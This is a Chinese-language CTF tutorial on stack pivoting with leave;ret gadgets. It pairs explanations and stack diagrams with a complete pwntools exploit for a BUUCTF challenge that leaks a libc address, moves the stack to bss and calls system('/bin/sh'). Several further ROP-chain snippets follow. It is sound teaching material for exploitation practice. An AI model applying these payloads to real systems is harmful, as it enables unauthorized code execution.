攻击原理

Stack Pivot 的提出背景

在实际的栈溢出利用中,经常会遇到以下情况:

  1. 溢出空间有限:缓冲区很小,只能覆盖返回地址和少量数据,不足以构造完整的 ROP 链

  2. 需要大量 ROP Gadget:复杂的攻击(如 ret2libc)需要多个 gadget 和参数,栈空间不足

  3. 栈上数据不可控:虽然可以覆盖返回地址,但栈上的其他数据无法完全控制

Stack Pivot(栈迁移) 技术通过修改栈指针 rsp,将栈迁移到其他可控制的内存区域(如 bss 段、堆、data 段等),从而获得更大的空间来构造完整的 ROP 链。

栈迁移的核心原理

栈迁移的核心是修改 rsp 寄存器,使其指向我们可控的内存区域。关键指令:

  1. leave; ret 指令

    1
    2
    leave  ; 等价于 mov rsp, rbp; pop rbp
    ret ; pop rip
    • leave 会将 rbp 的值赋给 rsp,然后弹出 rbp
    • 如果我们能控制 rbp,就能控制新的 rsp
  2. xchg rsp, rax; ret 等指令

    • 直接交换 rsprax 的值
    • 需要先通过 gadget 将目标地址放入 rax
  3. mov rsp, rbp; retmov rsp, rax; ret

    • 直接将寄存器值赋给 rsp

栈迁移的攻击流程

第一阶段:准备新的栈空间

  1. 选择目标区域

    • bss 段:未初始化的全局变量区域,通常可读写
    • data 段:已初始化的全局变量区域
    • :如果能够控制堆分配
    • 确保目标区域可写且地址固定(无 PIE)或可泄露
  2. 在新栈空间构造 ROP 链

    1
    2
    3
    4
    5
    6
    # 假设新栈地址为 fake_stack
    fake_stack = bss_addr + 0x500 # 选择一个偏移,避免覆盖其他数据

    # 在新栈上构造完整的 ROP 链
    rop_chain = p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
    # 写入到 fake_stack

第二阶段:执行栈迁移

  1. 利用有限的溢出空间

    1
    2
    3
    4
    # 假设只能溢出 0x20 字节
    payload = b'A' * 0x18 # 填充到 rbp
    payload += p64(fake_stack) # 覆盖 saved rbp 为新栈地址
    payload += p64(leave_ret) # 覆盖返回地址为 leave; ret
  2. 执行流程

    1
    2
    3
    4
    5
    6
    7
    函数返回时执行 leave 指令:
    mov rsp, rbp → rsp 指向 fake_stack(我们覆盖的 saved rbp)
    pop rbp → 弹出 fake_stack 的值到 rbp(可能不重要)

    然后执行 ret 指令:
    pop rip → 从新栈(fake_stack)弹出第一个地址
    → 跳转到我们构造的 ROP 链的第一个 gadget
  3. 在新栈上执行 ROP 链

    • 此时 rsp 已经指向 fake_stack
    • 后续的 ret 指令会从新栈上依次弹出地址
    • 完整执行我们预先构造的 ROP 链

攻击示意图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
原始栈(溢出空间有限):
+------------------+
| 局部变量 |
+------------------+
| saved rbp | ← 覆盖为 fake_stack
+------------------+
| 返回地址 | ← 覆盖为 leave_ret
+------------------+

新栈(fake_stack,空间充足):
+------------------+
| pop_rdi_ret | ← ROP 链开始
+------------------+
| bin_sh_addr |
+------------------+
| system_addr |
+------------------+
| ... | ← 可以继续构造更长的链
+------------------+

关键要点

  • leave_ret gadget:最常用的栈迁移 gadget,需要找到 leave; ret 或分别找到 leaveret

  • 新栈地址选择:必须选择可写、地址固定(或可泄露)的内存区域

  • 两次写入:通常需要先写入 ROP 链到新栈,再进行栈迁移

  • 栈对齐:迁移后的栈也需要满足对齐要求(64位16字节对齐)

  • 地址泄露:如果目标区域地址不固定(PIE),需要先泄露地址

例题

[Black Watch 入群题]PWN

https://buuoj.cn/challenges#[Black Watch 入群题]PWN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import sys
from LibcSearcher import *

context.terminal = ['tmux', 'sp', '-h']
context(log_level='debug', os='linux', arch='i386')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
io = remote('node5.buuoj.cn', 28468)
else:
io = process('./spwn')
elf = ELF('./spwn')

bss = 0x0804A300
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
leave_ret = 0x08048511
# 1. fake stack
# write(1, write_got, 4)
io.recvuntil(b'What is your name?')
payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

io.send(payload1)
# 2. move ebp
io.recvuntil(b'What do you want to say?')
payload2 = b"A"*(0x18) + p32(bss - 4) + p32(leave_ret)
# 巧妙之处:设置 saved_ebp = bss - 4
# leave 指令执行过程:
# 1. mov esp, ebp → esp = bss - 4
# 2. pop ebp → 从 bss - 4 位置读取4字节到 ebp(即读取 bss 位置的值)
# 同时 esp += 4,所以 esp = bss
# 这样执行 ret 时,esp 正好指向 bss(我们写入 ROP 链的位置)
io.send(payload2)
write_addr = u32(io.recv(4))
success(f"write_addr = {hex(write_addr)}")
# libc = LibcSearcher('write', write_addr)

libc_base = write_addr - 0x0d43c0
success(f"libc_base = {hex(libc_base)}")
system_addr = libc_base + 0x3a940
binsh_addr = libc_base + 0x15902b

# 3
io.recvuntil(b'What is your name?')
payload3 = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
io.send(payload3)

# 4
io.recvuntil(b'What do you want to say?')
io.send(payload2)
io.interactive()

思路总结

Stack Pivot(栈迁移)是解决溢出空间不足问题的关键技术,通过将栈指针迁移到可控的内存区域,获得足够的空间来构造完整的 ROP 链。

攻击步骤

  1. 分析溢出空间限制

    • 确定可以覆盖的字节数
    • 判断是否足够构造完整的 ROP 链
    • 如果不足,考虑使用栈迁移
  2. 查找栈迁移 Gadget

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 方法1:使用 ROPgadget
    # ROPgadget --binary ./binary | grep "leave"
    # ROPgadget --binary ./binary | grep "mov rsp"

    # 方法2:使用 pwntools
    rop = ROP(elf)
    leave_ret = rop.find_gadget(['leave', 'ret'])[0]
    # 或者分别查找
    leave = rop.find_gadget(['leave'])[0]
    ret = rop.find_gadget(['ret'])[0]
  3. 选择新栈地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 方法1:使用 bss 段
    bss_addr = elf.bss() # 获取 bss 段起始地址
    fake_stack = bss_addr + 0x500 # 选择一个偏移

    # 方法2:使用 data 段
    data_addr = elf.symbols['__data_start']
    fake_stack = data_addr + 0x100

    # 方法3:如果地址不固定,需要先泄露
    # 通过其他漏洞泄露地址,然后计算 fake_stack
  4. 构造新栈上的 ROP 链

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 在新栈地址上构造完整的 ROP 链
    rop_chain = b''
    rop_chain += p64(pop_rdi) # 设置第一个参数
    rop_chain += p64(bin_sh_addr) # "/bin/sh" 地址
    rop_chain += p64(system_addr) # system 函数地址
    # 可以继续添加更多 gadget

    # 将 ROP 链写入新栈(需要找到写入方法)
    # 方法1:如果程序有 read/gets 等函数可以写入
    # 方法2:如果可以通过其他方式写入
  5. 执行栈迁移

    1
    2
    3
    4
    5
    6
    7
    8
    # 利用有限的溢出空间
    offset = 0x18 # 到 saved rbp 的偏移

    payload = b'A' * offset
    payload += p64(fake_stack) # 覆盖 saved rbp
    payload += p64(leave_ret) # 覆盖返回地址

    io.sendline(payload)
  6. 在新栈上执行攻击

    • 栈迁移后,rsp 指向 fake_stack
    • 后续的 ret 指令会从新栈上执行 ROP 链
    • 完成最终的攻击目标(如获取 shell)

关键技巧

  1. leave_ret Gadget 的查找

    • 优先查找 leave; ret(一条指令,更稳定)
    • 如果没有,可以查找 leaveret,但需要确保它们连续或可以连接
    • 某些情况下可以使用 mov rsp, rbp; ret 等替代
  2. 新栈地址的选择

    • bss 段:最常用,通常可写且地址固定
    • data 段:也可用,但需要注意不要覆盖重要数据
    • :如果能够控制堆分配,也是不错的选择
    • 避免冲突:选择地址时要有足够偏移,避免覆盖程序使用的数据
  3. EBP = bss - 4 的巧妙之处

    在32位系统中,使用 saved_ebp = bss - 4 而不是直接使用 bss 有一个巧妙的技巧:

    leave 指令的执行过程(32位):

    1
    leave  ; 等价于 mov esp, ebp; pop ebp

    执行流程分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    初始状态:
    saved_ebp = bss - 4 (我们覆盖的值)
    esp 指向 saved_ebp 的位置

    执行 mov esp, ebp:
    esp = bss - 4 (esp 现在指向 bss - 4)

    执行 pop ebp:
    从 esp(bss - 4)位置读取4字节 → ebp
    同时 esp += 4,所以 esp = bss

    巧妙之处

    • pop ebp 会读取 bss 位置的值(因为 bss - 4 + 4 = bss)

    • 更重要的是,esp 会变成 bss(正好是我们写入 ROP 链的位置)

    • 这样 ret 指令执行时,会从 bss 位置弹出第一个 gadget 地址

    为什么不用 bss 直接作为 saved_ebp?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 如果使用 saved_ebp = bss:
    # 执行 mov esp, ebp 后:esp = bss
    # 执行 pop ebp 后:ebp = [bss](读取第一个 gadget 地址),esp = bss + 4
    # 这样 esp 指向 bss + 4,跳过了第一个 gadget!

    # 使用 saved_ebp = bss - 4:
    # 执行 mov esp, ebp 后:esp = bss - 4
    # 执行 pop ebp 后:ebp = [bss](读取第一个 gadget 地址),esp = bss
    # 这样 esp 正好指向 bss,ret 会执行第一个 gadget

    实际应用

    1
    2
    3
    4
    5
    6
    7
    # 第一次:写入 ROP 链到 bss
    payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    # 写入到 bss 位置

    # 第二次:栈迁移
    payload2 = b'A' * offset + p32(bss - 4) + p32(leave_ret)
    # saved_ebp = bss - 4,执行后 esp 指向 bss

    这个技巧在32位系统中特别有用,可以精确控制栈指针的位置。

  4. ROP 链的写入方法

    • read 函数:如果程序有 read,可以先调用 read(0, fake_stack, 0x100) 写入
    • gets 函数:类似 read,但需要注意换行符
    • 栈溢出 + read:第一次溢出调用 read 写入 ROP 链,第二次溢出执行栈迁移
    • 格式化字符串:如果有格式化字符串漏洞,也可以写入
  5. 两次利用的配合

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # 第一次:写入 ROP 链到新栈
    payload1 = b'A' * offset
    payload1 += p64(pop_rdi) + p64(0) # read 的第一个参数:stdin
    payload1 += p64(pop_rsi) + p64(fake_stack) # read 的第二个参数:目标地址
    payload1 += p64(pop_rdx) + p64(0x200) # read 的第三个参数:长度
    payload1 += p64(read_plt) # 调用 read
    payload1 += p64(main_addr) # 返回 main

    io.sendline(payload1)
    io.sendline(rop_chain) # 发送 ROP 链数据

    # 第二次:执行栈迁移
    payload2 = b'A' * offset
    payload2 += p64(fake_stack) # 覆盖 saved rbp
    payload2 += p64(leave_ret) # 覆盖返回地址

    io.sendline(payload2)
  6. 栈对齐处理

    • 迁移后的栈也需要满足 16 字节对齐
    • 如果不对齐,可以在 ROP 链开头添加 ret gadget
    • 计算 fake_stack 地址时考虑对齐
  7. 地址泄露(PIE 情况)

    1
    2
    3
    4
    5
    # 如果目标区域地址不固定,需要先泄露
    # 泄露某个函数的地址,计算基地址
    # 然后计算 fake_stack 的真实地址
    base_addr = leaked_addr - offset
    fake_stack = base_addr + bss_offset + 0x500

常见问题

  • 找不到 leave_ret:尝试查找其他栈迁移 gadget,如 mov rsp, rbp; retxchg rsp, rax; ret

  • 新栈地址不可写:检查目标区域的权限,选择其他可写区域

  • ROP 链写入失败:检查 read/gets 的参数是否正确,确保有写入权限

  • 迁移后程序崩溃:检查栈对齐,确保 ROP 链构造正确

  • 地址计算错误:仔细计算偏移量,使用 gdb 动态调试验证地址

与其他技术结合

  • ret2libc + stack pivot:在空间不足时,先迁移栈,再在新栈上构造 ret2libc

  • ROP + stack pivot:复杂 ROP 链需要大量空间时使用栈迁移

  • 格式化字符串 + stack pivot:通过格式化字符串写入 ROP 链,然后栈迁移执行